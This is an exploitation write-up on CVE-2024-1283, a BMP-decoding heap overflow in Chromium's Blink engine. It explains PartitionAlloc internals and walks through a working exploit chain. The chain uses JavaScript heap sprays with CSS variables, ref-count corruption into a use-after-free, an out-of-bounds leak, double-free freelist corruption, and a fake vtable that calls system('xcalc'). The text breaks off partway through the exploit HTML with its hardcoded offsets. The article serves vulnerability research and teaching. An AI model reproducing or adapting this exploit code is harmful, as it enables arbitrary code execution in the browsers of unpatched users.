5 ‑ Exploit code

‑‑‑[ 0 ‑ Introduction

This article will try to explain a lot about chrome, blink and PartitionAlloc internals and apply all this knowledge to transform an extremely restricted bug into arbitrary code execution.

The vulnerability in question is CVE‑2024‑1283, a heap overflow in the Blink engine that occurs when decoding BMP images. Using a couple of new techniques very similar to recent Linux kernel tricks like elastic heap objects and cross‑cache overflow, we can abuse PartitionAlloc and exploit, in theory, any memory write bug, resulting in full shellcode execution.

‑‑‑[ 1 ‑ Chromium rendering engine overview

Chromium, and all Chromium‑based browsers, use the "Blink rendering engine" [1]. This component is responsible for much of what happens within the renderer process, such as parsing HTML, CSS, decoding images, and more.

"A browser engine (also known as a layout engine or rendering engine) is a core software component of every major web browser. The primary job of a browser engine is to transform HTML documents and other resources of a web page into an interactive visual representation on a user's device." [2]

Blink is used by Chromium, but is considered a separate library. Its code can be found within the Chromium source at `src/third_party/blink`, and its own repository can be found here [3].

While it is the responsibility of Blink, not all major functions are necessarily written in its code. For example, executing JavaScript is necessary for a rendering engine, but not all of the JS engine is part of the main code.

This is the case with V8, the JavaScript engine used, which is separate in the code at `v8/`. It also has its own repository [4]. The same applies to some image formats [5] and video formats [6]. However, other image formats are entirely processed by Blink, such as "BMP", "AVIF", and some others.

We can see them in `src/third_party/blink/renderer/platform/image‑decoders`

‑‑‑[ 2 ‑ Case study: BMP 0day

After spending some time fuzzing these isolated image formats, I was able to find a very interesting bug, a "heap‑overflow" within BMPImageDecoder (ASAN shows it as if the overflow happened within Skia, resulting in an incorrect title for the CVE [7]). Let's understand how this bug occurs, and what its primitives are! We can start by analyzing the ASAN stack trace:

r3tr0@chrome:~/fuzz/bmp$ cat /tmp/bad.bmp | ./test‑crash =875756 ERROR: AddressSanitizer: heap‑buffer‑overflow on address[redacted] READ of size 32 at 0x521000001100 thread TO

#0 0xdead in unsigned int vector [8] skcms_private::hsw::load() #1 0xdead in skcms_private::hsw::Exec_load_8888_k()

#2 0xdead in skcms_private::hsw::Exec_load_8888()

#3 0xdead in skcms_private:: hsw::exec_stages ()

#4 0xdead in skcms_private::hsu::run_program()

#5 0xdead in skcms_Transform

#6 0xdead in blink::BMPImageReader::ColorCorrectCurrentRow() #7 0xdead in blink::BMPImageReader::ProcessRLEData()

#8 0xdead in blink::BMPImageReader::DecodePixelData(bool) #9 0xdead in blink::BMPImageReader::DecodeBMP(bool)

#10 0xdead in blink::BMPImageDecoder::DecodeHelper(bool) #11 0xdead in blink::BMPImageDecoder::Decode(bool)

#12 0xdead in blink::ImageDecoder::DecodeFrameBufferAtIndex() [redacted]

The last function within blink is BMPImageReader::ColorCorrectCurrentRow(). We can see a snippet of this function below:

void BMPImageReader::ColorCorrectCurrentRow() {

...

// address calc here

ImageFrame::PixelData* const row = buffer_‑>GetAddr(0, coord_.y()); ...

const bool success =

skcms_Transform(row, fmt, alpha, transform‑>SrcProfile(), row, fmt, alpha, transform‑>DstProfile(), parent_‑>Size().width()); DCHECK(success);

buffer_‑>SetPixelsChanged(true);

}

With a little debugging help, we can conclude that there is an address calculation error in `buffer_‑>GetAddr(0, coord_.y());`, where this function ends up being resolved to this other inline function:

const uint32_t* addr32(int x, int y) const { SkASSERT((unsigned)x < (unsigned)fInfo.width()); SkASSERT((unsigned)y < (unsigned)fInfo.height());

return (const uint32_t*)((const char*)this‑>addr32() + (size_t)y * fRowBytes + (x << 2)); }

This function can also be summarized in a single line `this‑>addr32() + y * fRowBytes + (x << 2)`.

Somehow `coord_.y()` is equal to ‑1 in the iteration that causes a crash, and if we resolve this calculation with this value we can understand why:

this‑>addr32() + y * fRowBytes + (x << 2);

base_addr + ‑1 * fRowBytes + (0 << 2);

base_addr ‑ fRowBytes;

Assuming the variables we know, `this‑>addr32()` is the base address of the image decoding chunk, y is ‑1, and x is equal to 0.

Thus, the result will be the base address minus fRowBytes, resulting in an address pointing behind the start of the chunk, and the function subsequently called within Skia that effectively writes into this input buffer. We can treat this like a `memcpy`. The flaw is not in the function but in what is passed to it.

Looking at the patch [8] makes it clearer why this happens. It's a simple off‑by‑one bug, where the `ColorCorrectCurrentRow()` function is called one more time than expected. Since decoding occurs `top_down`, with each iteration 1 is subtracted from y, instead of ending at 0, the next iteration happens and subtracting y once again turns it into ‑1.

‑‑‑‑[ 2.1 ‑ Bug power, the primitives

Very good, but what kind of primitives does this bug give us? Where and what can we write? Analyzing the `skcms_Transform` function, it receives a kind of "bytecodes" for an image transformation VM. The important part is that we don't control the bytecode sent, only the input buffer, so we can't control what is written. Let's analyze an example at runtime and see what happens:

pwndbg> x/6gx $rdi

0x1180136a000: 0x4141414141414141 0x4242424242424242 0x1180136a010: 0x4343434343434343 0x4444444444444444 0x1180136a020: 0x4545454545454545 0xff00ff00ff00ff00 pwndbg> continue

[redacted]

pwndbg> x/6gx 0x1180136a000

0x1180136a000: 0x4100000041000000 0x4200000042000000 0x1180136a010: 0x4300000043000000 0x4400000044000000 0x1180136a020: 0x4500000045000000 0xff00ff00ff00ff00

Basically, we can only write null bytes with the exception of bytes 0xff which are ignored. The most‑significant‑byte of every 4 bytes is also ignored. These are quite limited writing primitives, but still powerful.

Now that we know what we can write, let's see where we can write. Going back to the address calculation, the only variable we haven't talked about is fRowBytes.

In our case this variable is always 1/4 of the chunk size, which we can partially control using the height and width of the image. This results in a partial overflow of the end of the last chunk, assuming the BMP image chunk has 0x1000 bytes, the last 0x400 bytes will be corrupted:

0x400 bytes corrupted

\ /

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |XXXXX| |

| Another chunk |XXXXX| BMP chunk(0x1000) |

| |XXXXX| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now everything seems like a lost cause, since we can only write null bytes. The best idea is to overwrite a `ref_count_` property, but all of them are located at the beginning of the chunk. To move forward, we need to better understand how Chromium's custom memory allocator works.

‑‑‑[ 3 ‑ PartitionAlloc, the memory allocator

"PartitionAlloc is a memory allocator optimized for space efficiency, allocation latency, and security." [9] (and developed by Google and used in Chromium by default)

Quickly, we can highlight the most important things about PartitionAlloc: ‑ It's a SLAB allocator, which means it pre‑allocates memory and organizes it into fixed‑size chunks, which is very important from a security perspective.

‑ There's a thread cache, like tcache in glibc heap.

‑ There are some "soft‑protections" against certain types of memory management bugs, like double‑free.

‑ After freeing a slot, the freelist pointer is written in big‑endian at the beginning of this slot.

>> When exploring a SLAB allocator, similar to the kernel, we expect a very direct exploitation path. Only objects of the same size are allocated adjacent to each other. Therefore, the vulnerable object and the victim must share the same size or similar.

Everything in PartitionAlloc is allocated within "pages", which can be:

‑ System Page

A page defined by the OS, typically 4KiB, but supports up to 64KiB.

‑ Partition Page

Consists of exactly 4 system pages.

‑ Super Page

A 2MiB region, aligned on a 2MiB boundary.

‑ Extent

An extent is a run of consecutive super pages.

System Page

^

+‑‑‑‑‑‑+

| |

+‑‑‑‑‑‑+

Partition Page

^

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

| | | | |

+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

Super page (2MiB)

^

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Within each Super Page, several Partition Pages are allocated, where the smallest memory units can be divided into:

‑ Slot: is a single unit chunk

‑ Slot span: is a run of same‑sized chunks

‑ Bucket: Chains slot spans containing slots of similar size

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑

|...| PartitionPage | ‑> | SlotSpanMetadata | ‑> |freelist_head|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑

\ / bucket |

\ /

\ /

\ / V

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | | | Partition Bucket |

| Guard | Metadata | Guard | N pages | ... | Guard | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Super Page

An entire Super Page is allocated as follows: Right at the beginning there are 3 pages (2 "Guard Pages" which are pages with PROT_NONE to prevent any kind of linear corruption, and a Metadata page between the other two). This page has a list of "Partition Pages", which is a struct that controls some information about the Partition Pages. It also has the SlotSpanMetadata property, which, besides the freelist_head of that span, has the pointer to that Bucket.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Partition Bucket |‑‑‑‑‑‑‑+ +‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | |

v | v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | | |

| Guard | Metadata | Guard | N pages | ... | Guard |

| | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Each Partition Bucket is a linked list to other buckets of similar sizes.

This is a single slot

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑>|0x1000|0x1000|...|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑this is a slot span

|0x1000|0x1000|...|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

\

\ /

\ /

\ /

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | | |

| Guard | Metadata | Guard | N pages | ... | Guard |

| | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Each Slot Span can be composed of N Partition Pages and has several slots of exactly the same size adjacent.

PartitionAlloc also has a per‑thread cache. It is built to meet the needs of most common allocations and avoid performance loss in the central allocator that requires a context lock to prevent two allocations from returning the same slot.

"The thread cache has been tailored to satisfy a vast majority of requests by allocating from and releasing memory to the main allocator in batches, amortizing lock acquisition and further improving locality while not trapping excess memory." [10]

‑‑‑‑[ 3.1 ‑ PartitionAlloc security guarantees

When looking from a security perspective, PartitionAlloc delivers some guarantees:

1. Linear overflows/underflows cannot corrupt into, out of, or between partitions. There are guard pages at the beginning and the end of each memory region owned by a partition.

2. Linear overflows/underflows cannot corrupt the allocation metadata. PartitionAlloc records metadata in a dedicated, out‑of‑line region (not adjacent to objects), surrounded by guard pages. (Freelist pointers are an exception.)

3. Partial pointer overwrite of freelist pointer should fault.

4. Direct map allocations have guard pages at the beginning and the end.

5. One page can contain only objects from the same bucket. Even after this page is completely freed

If we look closely, guarantees 1 and 2 basically prevent corruptions against the Metadata Page and overflow between Super Pages. This is the job of the "Guard Page" mentioned above, a memory page with the PROT_NONE protection, which will cause a crash when trying to read, write, or execute anything within that page.

Guarantee 3 simply involves storing the freelist pointer in big‑endian format. So by partially corrupting this pointer, converting it to little endian would completely change the pointer.

Guarantee 4 is just a variation of guarantees 1 and 2, where, if it is necessary to allocate a very large chunk that does not fit into a common Super Page, this memory is allocated directly by mapping memory. This mapped memory is again placed between two "Guard Pages", one at the beginning and one at the end.

Finally, guarantee 5 is useful against type confusion attacks and attempts to abuse a UAF between pages.

So, if you paid attention, there are no guarantees or protections that prevent two buckets of completely different sizes from being allocated adjacent to each other without any kind of red zone between them (as is the case of Guard Pages between Super Pages). Therefore, it is entirely possible and stable to create this layout:

vuln obj size=0x1000 victim obj size=0x4000

+‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑+

| ... | | victim |

|‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑‑‑|

| vuln | | ... |

+‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑+

\ \ / /

\ \ / /

\ \ / /

\ \/ /

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | | | |

| G | M | G | 2 pages | 3 pages | ...N pages | G |

| | | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Testing the hypothesis, I could verify that we can create extremely stable memory layouts with the same objects of different sizes adjacent to each other.

‑‑‑[ 4 ‑ Exploitation

With the possibility of overflowing into any other slot of a different size, we just need to find an interesting target. We could search for an object with a |length_| property, but since we can only write null bytes, I believe we can take more advantage of the bug by attacking a |ref_count_| property. Looking for references of good targets, we can follow existing work used to exploit the well‑known "The WebP 0day" [11].

Objects and structures in CSS are allocated by Blink itself. Among these objects is CSSVariableData, which represents the value of variables within CSS [12]. It seems to be a great target for several reasons:

‑ It's an elastic object, so we can force it to fit in our case or any other; this object can vary in size between 16 bytes and 2097152 bytes (`kMaxVariableBytes`).

‑ It's a "ref counted" object.

‑ It doesn't have any pointers that could cause a crash when dereferenced.

In `css_variable_data.h`, we can see the description of the object:

class CORE_EXPORT CSSVariableData : public RefCounted<CSSVariableData> { ...

private:

...

// 32 bits refcount before this.

// We'd like to use bool for the booleans, but this causes the struct to

// balloon in size on Windows:

// https://randomascii.wordpress.com/2010/06/06/bit‑field‑packing‑with‑visual‑c/

// Enough for storing up to 2MB (and then some), cf. kMaxSubstitutionBytes.

// The remaining 4 bits are kept in reserve for future use.

const unsigned length_ : 22;

const unsigned is_animation_tainted_ : 1; // bool.

const unsigned needs_variable_resolution_ : 1; // bool.

const unsigned is_8bit_ : 1; // bool.

unsigned has_font_units_ : 1; // bool.

unsigned has_root_font_units_ : 1; // bool.

unsigned has_line_height_units_ : 1; // bool.

const unsigned unused_ : 4;

In memory, this object reflects this layout:

0 4 8 16

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| ref_count_ | length_ |F| String content |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| String content... |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

> F = flags

And the code that allocates this object can be found in the same file:

// third_party/blink/renderer/core/css/css_variable_data.h:34

static scoped_refptr<CSSVariableData> Create(StringView original_text,

bool is_animation_tainted,

bool needs_variable_resolution,

bool has_font_units,

bool has_root_font_units,

bool has_line_height_units) {

if (original_text.length() > kMaxVariableBytes) {

// This should have been blocked off during variable substitution.

NOTREACHED();

return nullptr;

}

wtf_size_t bytes_needed =

sizeof(CSSVariableData) + (original_text.Is8Bit()

? original_text.length()

: 2 * original_text.length());

void* buf = WTF::Partitions::FastMalloc(

bytes_needed, WTF::GetStringWithTypeName<CSSVariableData>()); return base::AdoptRef(new (buf) CSSVariableData( original_text, is_animation_tainted, needs_variable_resolution, has_font_units, has_root_font_units, has_line_height_units)); }

Well, it seems like a great target, but now we need to discuss which bucket this object will be allocated in. Due to the thread cache, the objects won't be placed together. We need to force the thread cache to clear the bucket so that our vulnerable object and victim share the same Super Page. Luckily, this is quite simple to do. We just need to fill the cache up to the "limit", as can be seen in this comment:

// base/allocator/partition_allocator/src/partition_alloc/thread_cache.cc:586

// For each bucket, there is a |limit| of how many cached objects there are in

// the bucket, so |count| < |limit| at all times.

// ‑ Clearing: limit ‑> limit / 2

// ‑ Filling: 0 ‑> limit / kBatchFillRatio

The code that executes this subroutine can be seen below:

// base/allocator/partition_allocator/src/partition_alloc/thread_cache.h:511

PA_ALWAYS_INLINE bool ThreadCache::MaybePutInCache(uintptr_t slot_start,

size_t bucket_index,

size_t* slot_size) {

PA_REENTRANCY_GUARD(is_in_thread_cache_);

...

auto& bucket = buckets_[bucket_index];

...

uint8_t limit = bucket.limit.load(std::memory_order_relaxed); // Batched deallocation, amortizing lock acquisitions.

if (PA_UNLIKELY(bucket.count > limit)) {

ClearBucket(bucket, limit / 2);

}

...

Now let's create this layout with JS. How can we manipulate these objects to create a perfect layout?

First, let's force the allocation of a new Super Page to have more control, for this, we can simply do several sprays

let div0 = document.getElementById('div0');

for (let i = 0; i < 30; i++) { div0.style.setProperty(`‑‑sprayA${i}`, kCSSString); div0.style.setProperty(`‑‑sprayC${i}`, kCSSStringCross0x2000); div0.style.setProperty(`‑‑sprayB${i}`, kCSSStringHRTF);

}

After that, let's force object A to be adjacent to C. Object B should be allocated close, but not adjacent to, the others as it will be useful for acquiring memory leaks.

for (let i = 0; i < 50; i++) {

for (let j = 0; j < 4; j++) {

// spraying allocation of 2 different size spans

// very close to 100% of attempts, the same object is allocated

// after a different sized slot

const CSSValName = `${i}.${j}`.padEnd(0x7fcc, 'A'); div0.style.setProperty(`‑‑a${i}.${j}`, CSSValName);

const CSSValName2 = `${i}.${j}`.padEnd(0x1fcc, 'C'); div0.style.setProperty(`‑‑c${i}.${j}`, CSSValName2);

}

for (let j = 0; j < 64; j++) {

const CSSValName = `${i}.${j}`.padEnd(0x414, 'B'); div0.style.setProperty(`‑‑b${i}.${j}`, CSSValName);

}

}

And finally, let's clear the bucket to finish preparing our layout:

for (let i = 10; i < 30; i++) { div0.style.removeProperty(`‑‑a${i}.2`);

}

for (let i = 46; i > 20; i‑‑) { div0.style.removeProperty(`‑‑c${i}.0`);

}

gc(); await sleep(500);

Now, after creating the correct heap layout, we will overwrite the `ref_count_`, trigger a free, and allocate a fully controllable data object over the victim object, thus creating a UAF condition.

We can abuse our conditional writing of null bytes. If you recall that 0xff bytes are ignored, so we can increase the `ref_count_` to `0xff01` and trigger the vulnerability. After this, the ref count will be `0xff00`, and calling `gc();` will free this object while we still have an active reference.

>> Remember: Actually, the `ref_count_` starts with 2, so we need to increase this to `0xff02`, otherwise the ref_count will reach in ‑1 and cause a crash

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| 2 | 0x2000 |F| "AAAAAAAAAAAA" |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| "AAAAAAAAAAAA..." |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| increase `ref_count_` (+0xff00) |

v

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| 0xff02 | 0x2000 |F| "AAAAAAAAAAAA" |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| "AAAAAAAAAAAA..." |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| Trigger vuln |

v

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| 0xff00 | 0x0000 |F| "A\x00\x00\x00" | |

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑BMP vuln chunk... |

| "A\x00\x00\x00..." |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| Call `gc();` and decrease | `ref_count_` (‑0xff00) v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| freelist ptr | "A\x00\x00\x00" |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| "A\x00\x00\x00..." |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Perfect! We can use any object to consume this freelist entry and overwrite the |length_| property. For this, we will use an AudioArray that we can control entirely. AudioArray is also an elastic object that has been used to exploit another type of UAF previously [13].

Now we can OOB read:

fetch("/bad.bmp").then(async response => {

let rs = getComputedStyle(div0);

let imageDecoder = new ImageDecoder({

data: response.body,

type: "image/bmp"

});

increase_refs(0xff02); // overflow will overwrite 0xff02 to 0xff00

imageDecoder.decode().then(async () => {

gc(); gc();

await sleep(2500);

let ab = new ArrayBuffer(0x600);

let view = new Uint32Array(ab);

// fake CSSVariableData

view[0] = 1; // ref_count

const newCSSVarLen = 0x19000;

view[1] = newCSSVarLen | 0x01000000; // length and flags, set is_8bit_

for (let i = 2; i < view.length; i++)

view[i] = i;

await allocAudioArray(0x2000, ab, 1);

leak();

})

});

async function leak() {

console.log("continuing...");

let div0 = document.getElementById('div0');

let rs = getComputedStyle(div0);

let CSSLeak = rs.getPropertyValue(kTargetCSSVar).substring(0x15000 ‑ 8); console.log(CSSLeak.length.toString(16));

...

Good, but not enough, we've defeated any ASLR, but now we need a control flow hijacking idea. Instead of looking for more good victim objects, we can directly attack PartitionAlloc again and corrupt the freelist pointer. The idea is to create a double‑free condition, which will result in an circular freelist and ultimately overwrite the pointer.

CSSVariableData and AudioArray essentially point to the same address, so we can cause both of them be freed and cause a "double‑free". If we do this, the freelist pointer written in the chunk will point to itself:

+‑‑‑‑‑‑‑‑‑‑+

| | It's pointing at itself

| v

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

+‑‑‑‑| freelist ptr | "A\x00\x00\x00" |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| "A\x00\x00\x00..." |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This circular freelist is extremely powerful, because we can use the same AudioBuffer as before to corrupt the freelist pointer. The next allocation request will return the pointer we want, giving us an arbitrary write.

+‑‑‑‑‑‑‑‑‑‑+

| | It's pointing at itself

| v

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

+‑‑‑‑| freelist ptr | "A\x00\x00\x00" |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| "A\x00\x00\x00..." |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| Alloc an AudioArray and corrupt freelist

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| corrupted ptr | "A\x00\x00\x00" |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| "A\x00\x00\x00..." |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The only restriction for the corrupted pointer is that it must be from within the same Super Page. To achieve code execution, we will deallocate object B and allocate objects that have vtables, then corrupt the freelist to point to one of these objects. This way, we can corrupt the vtable pointer and easily gain control flow hijack. Follow snipped of exploit alloc the vtable object and leaks its address:

CSSVars = [

// this regex is used to find the B objects in memory

// the pattern match with: 0x2000 + flags + "${i}.${j}" + "BBBBB..."

...CSSLeak.matchAll(/\x02\x00\x00\x00\x14\x04\x00\x01(\d+\.\d+)/g) ];

...

for (let i = 0; i < kSprayPannerCount; i++) { panners.push(audioCtx.createPanner());

}

for (let i = 0; i < kSprayPannerCount; i++) {

// i really idk why, but i need add the ref_count_ and remove the

// prop to trigger free

rs.getPropertyValue(`‑‑b${CSSVars[i][1]}`); div0.style.removeProperty(`‑‑b${CSSVars[i][1]}`);

}

gc(); gc(); await sleep(1000);

for (let i = 0; i < panners.length; i++) {

// allocating objects with vtables

panners[i].panningModel = 'HRTF';

}

// free two panners after target CSSVariableData

panners[kSprayPannerCount ‑ 2].panningModel = 'equalpower'; panners[kSprayPannerCount ‑ 1].panningModel = 'equalpower';

await sleep(1000);

let hrtfLeak = rs.getPropertyValue(kTargetCSSVar).substring(0x15000 ‑ 8);

And now just create the fake vtable and profit!!

let ab = new ArrayBuffer(0x600);

let abFakeObj = new ArrayBuffer(0x600);

let view = new BigUint64Array(ab);

let viewFakeObj = new DataView(abFakeObj);

view[0] = swapEndian(fakePannerAddr ‑ 0x10n);

for (let i = 0; i < viewFakeObj.byteLength; i++) viewFakeObj.setUint8(i, 0x4a); // "J"

const system_addr = chromeBase + kSystemLibcOffset;

// call qword ptr [rax + 8]

viewFakeObj.setBigUint64(0x0, fakePannerAddr + 8n ‑ 8n, true);

// viewFakeObj.setBigUint64(8, 0xdeadbeefn, true);

viewFakeObj.setBigUint64(0x8, chromeBase + kWriteListenerOffset, true); // fake BindState addr

viewFakeObj.setBigUint64(0x10, fakePannerAddr + 0x18n, true);

// start of fake BindState

// The first int64 are the value which will passed to function address

// in second int64

viewFakeObj.setBigUint64(0x18 + 0,

// 0x636c616378 == xcalc

0x636c616378n /* ‑1 because ref_count_ + 1 */ ‑ 1n, true);

viewFakeObj.setBigUint64(0x18 + 0x8, system_addr, true);

In this case, I simply use a simple `system("xcalc")`.

For a more complex exploit, we can use a sequence of more complete gadgets. Chromium has some super powerful gadgets that allow executing shellcode easily. You can use `blink::FileSystemDispatcher::WriteListener::DidWrite`, followed by a fake `BindState`. With these two, we can call any function by controlling RDI, that is, the first argument of the function.

By combining with `content::ServiceWorkerContextCore::OnControlleeRemoved`, we can choose a function and N arguments. With this power, we call the function `v8::base::AddressSpaceReservation::SetPermissions` and assign it to a memory page RWX. The only thing we need to do is corrupt a second object with a vtable and make it point to this RWX page after copying some shellcode to it.

If you want to see a full exploit using these techniques, you can check out the previously mentioned exploits here [11] [13].

‑‑‑[ 5 ‑ Takeaways, advances, etc etc etc

This article attempts to dissect the most important points about PartitionAlloc and explain recent techniques like "double‑free2arbitrary‑allocation", and completely new techniques like "cross‑bucket overflow".

These techniques can be used, in theory, to exploit any memory corruption bug in PartitionAlloc, which is fascinating for weaponizing seemingly insufficient bugs. Many of these techniques are reminiscent of tricks from recent years in the kernel exploit scene, such as "elastic‑objects" and "cross‑cache overflow". High‑performance allocators tend to share vulnerabilities inherent in their operation and performance.

As mentioned above, the memory allocator is an extremely critical component in high‑performance software like a browser, and it must be extremely simple and fast. This simplicity comes at a cost in security. Chromium has great security measures like "safe libc++" that can prevent a large number of vulnerabilities, but after the first memory corruption, the attacker's scenario is very privileged and few things can stop them.

All recent new mitigations have been focused on mitigating memory corruptions coming from the JS engine, as is the case with the well‑crafted V8 sandbox. However, this is not enough. Although JavaScript is an extremely bug‑prone subsystem, many other areas continue to have little research coverage.

‑‑‑[ 6 ‑ References

[1] https://www.chromium.org/blink/#what‑is‑blink

[2] https://en.wikipedia.org/wiki/Browser_engine

[3] https://chromium.googlesource.com/chromium/blink/

[4] https://chromium.googlesource.com/v8/v8/

[5] http://libpng.org/

[6] https://chromium.googlesource.com/webm/libvpx/

[7] https://msrc.microsoft.com/update‑guide/vulnerability/CVE‑2024‑1283

[8] https://chromium‑review.googlesource.com/c/chromium/src/+/5241305/7/

third_party/blink/renderer/platform/image‑decoders/bmp/bmp_image_reader.cc [9] https://chromium.googlesource.com/chromium/src/+/master/base/

allocator/partition_allocator/PartitionAlloc.md#overview

[10] https://chromium.googlesource.com/chromium/src/+/master/base/

allocator/partition_allocator/PartitionAlloc.md#performance

[11] https://www.darknavy.org/blog/exploiting_the_libwebp_vulnerability_part_2/

[12] https://developer.mozilla.org/en‑US/docs/Web/CSS/Using_CSS_custom_properties

[13] https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer/

‑‑‑[ 7 ‑ Exploit Code

<!‑‑ ./chrome ‑‑no‑sandbox ‑‑headless ‑‑user‑data‑dir=/tmp/not‑exist \ ‑‑disable‑gpu ‑‑remote‑debugging‑port=9222 ‑‑enable‑logging=stderr \ http://localhost:8000/exploit.html

‑‑>

<html>

<head>

<script>

const kHRTFPannerVtableOffset = 0x10e5570n;

const kHRTFPannerHeapOffset = 0x22620n;

// blink::FileSystemDispatcher::WriteListener::DidWrite

const kWriteListenerOffset = ‑0xd401d0n;

// this can be used to more complex exploitation giving RWX perm and

// writing a shellcode, this is a minimal POC which only pop xcalc

// blink::FileSystemDispatcher::WriteListener::DidWrite

// const kPolymorphicInvokeOffset = 0xe1cde26n;

// const kRetOffset = kWriteListenerOffset + 104n; // ret instruction

// v8::base::AddressSpaceReservation::SetPermissions

